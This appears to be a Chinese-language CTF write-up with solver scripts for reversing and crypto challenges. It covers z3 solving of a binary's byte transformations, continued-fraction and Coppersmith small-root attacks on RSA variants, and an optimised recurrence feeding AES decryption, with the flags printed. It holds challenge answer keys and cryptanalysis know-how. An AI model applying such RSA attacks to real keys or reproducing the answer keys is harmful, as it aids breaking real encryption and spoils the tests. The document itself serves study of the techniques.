out=[  0xEC, 0x24, 0x00, 0x3D, 0x28, 0xA7, 0xFD, 0x77, 0x93, 0xE7, 
  0x7C, 0x7F, 0x6D, 0x0A, 0x51, 0xF1, 0x04, 0x68, 0x6E, 0x86, 
  0x47, 0x6B, 0x7E, 0x8B, 0x27, 0x09, 0xA8, 0x7B, 0xFB, 0x90, 
  0x0C, 0x8D]
enc=[  0xDE, 0x1C, 0x22, 0x27, 0x1D, 0xAE, 0xAD, 0x65, 0xAD, 0xEF, 
  0x6E, 0x41, 0x4C, 0x34, 0x75, 0xF1, 0x16, 0x50, 0x50, 0xD4, 
  0x48, 0x69, 0x6D, 0x93, 0x36, 0x1C, 0x86, 0x3B, 0xBB, 0xD0, 
  0x4C, 0x91]
for i,j in zip(out,enc):
    print(chr(i^j^ord('a')),end='')

gowhere

动态调试观察输入的字符串的变化

交叉引用 观察输入的字符串进行了哪些操作

可以设置ida断点 打印出程序运行到加密指令时字符串的变化

调试的时候有个Sleep函数 注意需要手动绕过

然后打印出每一步加密的操作 结合汇编语言观察

发现程序有三种加密

加上一个数字然后xor 0x17

一堆加减乘除

逆序整个数组

都是线性加密 利用z3约束求解即可

enc=[    0x4D, 0x63, 0x5D, 0x34, 0x43, 0x09, 0xA2, 0x77, 0x0A, 0xBF, 
  0xC9, 0xB3, 0xE9, 0x6F, 0x79, 0x7D, 0x7B, 0xE8, 0x99, 0x90, 
  0x43, 0x08, 0xBB, 0x99, 0x0E, 0x2E, 0xD4, 0x7B, 0x27, 0xB7, ]
# data2=[  0x9B, 0x4B, 0x7B, 0xBA, 0x9B, 0x0B, 0x9B, 0xE6, 0x7B, 0x5B, 
#   0xCB, 0x9B, 0xCB, 0x9B, 0x7B, 0x7B, 0x9B, 0xCB, 0x9B, 0xCB, 
#   0x5B, 0x7B, 0xE6, 0x9B, 0x0B, 0x9B, 0xBA, 0x7B, 0x4B, 0x9B,]
# for i,j in zip(enc,data2):
#     print(chr(i^j^ord('a')),end='')
def encrypt():
    global x
    x[0] += 2;
    x[1] -= 28;
    x[2] ^= 0x47;
    x[3] += x[4];
    x[5] += 73;
    x[6] += 12;
    x[7] -= x[8];
    x[8] ^= 0x5A;
    x[9] ^= 0x22;
    x[0xA] += 20;
    x[0xC] -= 84;
    x[0xD] ^= 4;
    x[0xE] ^= 0x1C;
    x[0x11]-=1
    x[0x1b]^= 0x11;
    x[0x1c] ^= 3;
    for i in range(30):
        x[i]&=0xff
def rev():
    global x
    x= x[::-1]
def enc1():
    global x
    for i in range(30):
        x[i] = (0x17^(x[i]+0xa))

def enc1():
    global x
    for i in range(30):
        x[i] = (0x17^(x[i]+0xa))
def enc2():
    global x
    for i in range(30):
        x[i] = (0x17^(x[i]+0x10))
def info():
    return 
    global x
    for i in x:
        print(hex(i),end=' ')
    print()

cin= "1234567890abcdefghijklmnopqrstuv"[:30]
from z3 import *


print()
x=[BitVec('x[%d]'%i,8) for i in range(30)]

enc1()
info()
encrypt()
info()
rev()
info()

encrypt()
info()
rev()
info()

enc2()
info()
encrypt()
info()
rev()
info()

encrypt()
info()
rev()
info()
S=Solver()
for i in range(30):
    S.add(x[i] == enc[i])
S.check()
print(S.model())
# data=[ 0x2C, 0x2B, 0x2A, 0x29, 0x28, 0x57, 0x56, 0x55, 0x54, 0x2D, 
#   0x7C, 0x7B, 0x7A, 0x79, 0x78, 0x67, 0x66, 0x65, 0x64, 0x63, 
#   0x62, 0x61, 0x60, 0x6F, 0x6E, 0x6D, 0x6C, 0x6B, 0x6A, 0x69, ]
# for i in data:
#     print(hex(i),end=' ')
# encrypt()
# data=[ 0x2E, 0x0F, 0x6D, 0x51, 0x28, 0xA0, 0x62, 0x01, 0x0E, 0x0F, 
#   0x90, 0x7B, 0x26, 0x7D, 0x64, 0x67, 0x66, 0x64, 0x64, 0x63, 
#   0x62, 0x61, 0x60, 0x6F, 0x6E, 0x6D, 0x6C, 0x7A, 0x69, 0x69, ]
# #change index
# data=[  0x69, 0x69, 0x7A, 0x6C, 0x6D, 0x6E, 0x6F, 0x60, 0x61, 0x62, 
#   0x63, 0x64, 0x64, 0x66, 0x67, 0x64, 0x7D, 0x26, 0x7B, 0x90, 
#   0x0F, 0x0E, 0x01, 0x62, 0xA0, 0x28, 0x51, 0x6D, 0x0F, 0x2E]
# encrypt()
# data=[0x6B, 0x4D, 0x3D, 0xD9, 0x6D, 0xB7, 0x7B, 0xFF, 0x3B, 0x40, 
#   0x77, 0x64, 0x10, 0x62, 0x7B, 0x64, 0x7D, 0x25, 0x7B, 0x90, 
#   0x0F, 0x0E, 0x01, 0x62, 0xA0, 0x28, 0x51, 0x7C, 0x0C, 0x2E, ]
# #change index
# data=[  0x29, 0x0B, 0x9B, 0x76, 0x2F, 0xA7, 0x65, 0x06, 0x09, 0x08, 
#   0xB7, 0x9C, 0x22, 0x9A, 0x63, 0x9C, 0x65, 0x37, 0x63, 0x90, 
#   0x47, 0x5C, 0x18, 0x9C, 0xD0, 0x6A, 0xFE, 0x5A, 0x4A, 0x6C]
# encrypt()
# data=[  0x2B, 0xEF, 0xDC, 0xA5, 0x2F, 0xF0, 0x71, 0xFD, 0x53, 0x2A, 
#   0xCB, 0x9C, 0xCE, 0x9E, 0x7F, 0x9C, 0x65, 0x36, 0x63, 0x90, 
#   0x47, 0x5C, 0x18, 0x9C, 0xD0, 0x6A, 0xFE, 0x4B, 0x49, 0x6C, ]
# #change index
# data=[ 0x6C, 0x49, 0x4B, 0xFE, 0x6A, 0xD0, 0x9C, 0x18, 0x5C, 0x47, 
#   0x90, 0x63, 0x36, 0x65, 0x9C, 0x7F, 0x9E, 0xCE, 0x9C, 0xCB, 
#   0x2A, 0x53, 0xFD, 0x71, 0xF0, 0x2F, 0xA5, 0xDC, 0xEF, 0x2B]
# encrypt()
# data=[  0x6E, 0x2D, 0x0C, 0x68, 0x6A, 0x19, 0xA8, 0xBC, 0x06, 0x65, 
#   0xA4, 0x63, 0xE2, 0x61, 0x80, 0x7F, 0x9E, 0xCD, 0x9C, 0xCB, 
#   0x2A, 0x53, 0xFD, 0x71, 0xF0, 0x2F, 0xA5, 0xCD, 0xEC, 0x2B,]
# #change index

crypto

signin

连分数恢复d1、d2,数论变换得到p-q,解方程组得到p、q,rsa解密得到flag

d = 1.42870767357206600351348423521722279489230609801270854618388981989800006431663026299563973511233193052826781891445323183272867949279044062899046090636843802841647378505716932999588
c=1046004343125860480395943301139616023280829254329678654725863063418699889673392326217271296276757045957276728032702540618505554297509654550216963442542837
n=2793178738709511429126579729911044441751735205348276931463015018726535495726108249975831474632698367036712812378242422538856745788208640706670735195762517
leak=1788304673303043190942544050868817075702755835824147546758319150900404422381464556691646064734057970741082481134856415792519944511689269134494804602878628

#sage exp
data3 = 1.42870767357206600351348423521722279489230609801270854618388981989800006431663026299563973511233193052826781891445323183272867949279044062899046090636843802841647378505716932999588
 
c = continued_fraction(data3)
print(c)
 
alist = c.convergents()
# print(alist)
 
for i in alist:
    a = str(i).split('/')
    if len(a)>1 and gcd(int(a[0]),int(a[1])) == 1 and is_prime(int(a[0])) and is_prime(int(a[1])) and int(a[0]).bit_length()==256 and int(a[1]).bit_length()==256:
        print(a)
import libnum
e = 65537
d = 1.42870767357206600351348423521722279489230609801270854618388981989800006431663026299563973511233193052826781891445323183272867949279044062899046090636843802841647378505716932999588
c=1046004343125860480395943301139616023280829254329678654725863063418699889673392326217271296276757045957276728032702540618505554297509654550216963442542837
n=2793178738709511429126579729911044441751735205348276931463015018726535495726108249975831474632698367036712812378242422538856745788208640706670735195762517
leak=1788304673303043190942544050868817075702755835824147546758319150900404422381464556691646064734057970741082481134856415792519944511689269134494804602878628

d1 = 97093002077798295469816641595207740909547364338742117628537014186754830773717
d2 = 67958620138887907577348085925738704755742144710390414146201367031822084270769
t = leak % d1
p = var('p')
q = var('q')
roots = solve([p*q==n, p-q==t], p,q, solution_dict=True)
p = roots[-1][p]
q = roots[-1][q]
assert p*q==n
m = int(pow(c, inverse_mod(e, (p-1)*(q-1)),n))
m = int(m-d2)
print(libnum.n2s(m))
# b'SYC{a00338c150aa3a5163dbf404100e6754}'

CrazyTreat

copper用模的倍数来解小根方程,再是已知高位攻击

import gmpy2 as gp
import libnum, gmpy2
from Crypto.Util.number import *
clown =  128259792862716016839189459678072057136816726330154776961595353705839428880480571473066446384217522987161777524953373380960754160008765782711874445778198828395697797884436326877471408867745183652189648661444125231444711655242478825995283559948683891100547458186394738621410655721556196774451473359271887941209
trick =  13053422630763887754872929794631414002868675984142851995620494432706465523574529389771830464455212126838976863742628716168391373019631629866746550551576576
e = 65537
n = 924936528644761261915490226270682878749572154775391302241867565751616615723850084742168094776229761548826664906020127037598880909798055174894996273670320006942669796769794827782190025101253693980249267932225152093301291975335342891074711919668098647971235568200490825183676601392038486178409517985098598981313504275523679007669267428032655295176395420598988902864122270470643591017567271923728446920345242491655440745259071163984046349191793076143578695363467259
P = 569152976869063146023072907832518894975041333927991456910198999345700391220835009080679006115013808845384796762879536272124713177039235766835540634080670611913370463720348843789609330086898067623866793724806787825941048552075917807777474750280276411568158631295041513060119750713892787573668959642318994049493233526305607509996778047209856407800405714104373282610244944206314614906974275396096712817649817035559000245832673082730407216670764400076473183825246052
Q = 600870923560313304359037202752076267074889238956345564584928427345594724253036201151726541881494799597966727749590645445697106549304014936202421316051605075583257261728145977582815350958084624689934980044727977015857381612608005101395808233778123605070134652480191762937123526142746130586645592869974342105683948971928881939489687280641660044194168473162316423173595720804934988042177232172212359550196783303829050288001473419477265817928976860640234279193511499
R = 502270534450244040624190876542726461324819207575774341876202226485302007962848054723546499916482657212105671666772860609835378197021454344356764800459114299720311023006792483917490176845781998844884874288253284234081278890537021944687301051482181456494678641606747907823086751080399593576505166871905600539035162902145778102290387464751040045505938896117306913887015838631862800918222056118527252590990688099219298296427609455224159445193596547855684004680284030
c =  10585127810518527980133202456076703601165893288538440737356392760427497657052118442676827132296111066880565679230142991175837099225733564144475217546829625689104025101922826124473967963669155549692317699759445354198622516852708572517609971149808872997711252940293211572610905564225770385218093601905012939143618159265562064340937330846997881816650140361013457891488134685547458725678949

PR.<m> = PolynomialRing(Zmod(n))
f = P*Q-m^2-m*(P-m+Q-m)
f = f.monic()
m = f.small_roots(X=2^256, beta=0.6)
R = int(m[0])

PR.<x> = PolynomialRing(Zmod(clown))
f = trick+x
x = f.small_roots(X=2^210, beta=0.4)
P = trick+int(x[0])
Q = clown // P
d = int(gmpy2.invert(e, (P-1)*(Q-1)*(R-1)))
m = int(pow(c, d, P*Q*R))
print(libnum.n2s(m))
# b'SYC{N0b0dy_Kn0vvs_CryPt0_be7t3r_7haN_Me}'

Alexei needs help

用循环代替递归、取模等方法减小时间复杂度

from random import randint
import gmpy2 as gp
from Crypto.Util.number import *
from Crypto.Cipher import AES
from hashlib import md5
from binascii import *
import sys

a =  12760960185046114319373228302773710922517145043260117201359198182268919830481221094839217650474599663154368235126389153552714679678111020813518413419360215
b =  10117047970182219839870108944868089481578053385699469522500764052432603914922633010879926901213308115011559044643704414828518671345427553143525049573118673
m =  9088893209826896798482468360055954173455488051415730079879005756781031305351828789190798690556659137238815575046440957403444877123534779101093800357633817
seq =  [1588310287911121355041550418963977300431302853564488171559751334517653272107112155026823633337984299690660859399029380656951654033985636188802999069377064, 12201509401878255828464211106789096838991992385927387264891565300242745135291213238739979123473041322233985445125107691952543666330443810838167430143985860, 13376619124234470764612052954603198949430905457204165522422292371804501727674375468020101015195335437331689076325941077198426485127257539411369390533686339, 8963913870279026075472139673602507483490793452241693352240197914901107612381260534267649905715779887141315806523664366582632024200686272718817269720952005, 5845978735386799769835726908627375251246062617622967713843994083155787250786439545090925107952986366593934283981034147414438049040549092914282747883231052, 9415622412708314171894809425735959412573511070691940566563162947924893407832253049839851437576026604329005326363729310031275288755753545446611757793959050, 6073533057239906776821297586403415495053103690212026150115846770514859699981321449095801626405567742342670271634464614212515703417972317752161774065534410, 3437702861547590735844267250176519238293383000249830711901455900567420289208826126751013809630895097787153707874423814381309133723519107897969128258847626, 2014101658279165374487095121575610079891727865185371304620610778986379382402770631536432571479533106528757155632259040939977258173977096891411022595638738, 10762035186018188690203027733533410308197454736009656743236110996156272237959821985939293563176878272006006744403478220545074555281019946284069071498694967]
ct = '37dc072bdf4cdc7e9753914c20cbf0b55c20f03249bacf37c88f66b10b72e6e678940eecdb4c0be8466f68fdcd13bd81'
n = 2023
def seqsum(i):
    ans = 0
    for j in range(len(seq)):
        ans += (gp.powmod(i,j,m)*seq[j])% m  # 取模,减小规模加快运算
    return ans

tt = [1, 1, 1]
def homework(i):
    for _ in range(3, i+10):
        tt.append((a * tt[-1] + b * tt[- 2] + seqsum(_)) % m)  # 利用循环代替递归,避免重复运算
    return tt[i]


ans = homework(n)

k = unhexlify(md5(str(ans).encode()).hexdigest())
aes = AES.new(k,AES.MODE_ECB)
m = aes.decrypt(long_to_bytes(int(ct,16)))
print(m)
# c7ceedc7197a0d350025fff478f667293ebbaa6b
# SYC{c7ceedc7197a0d350025fff478f667293ebbaa6b}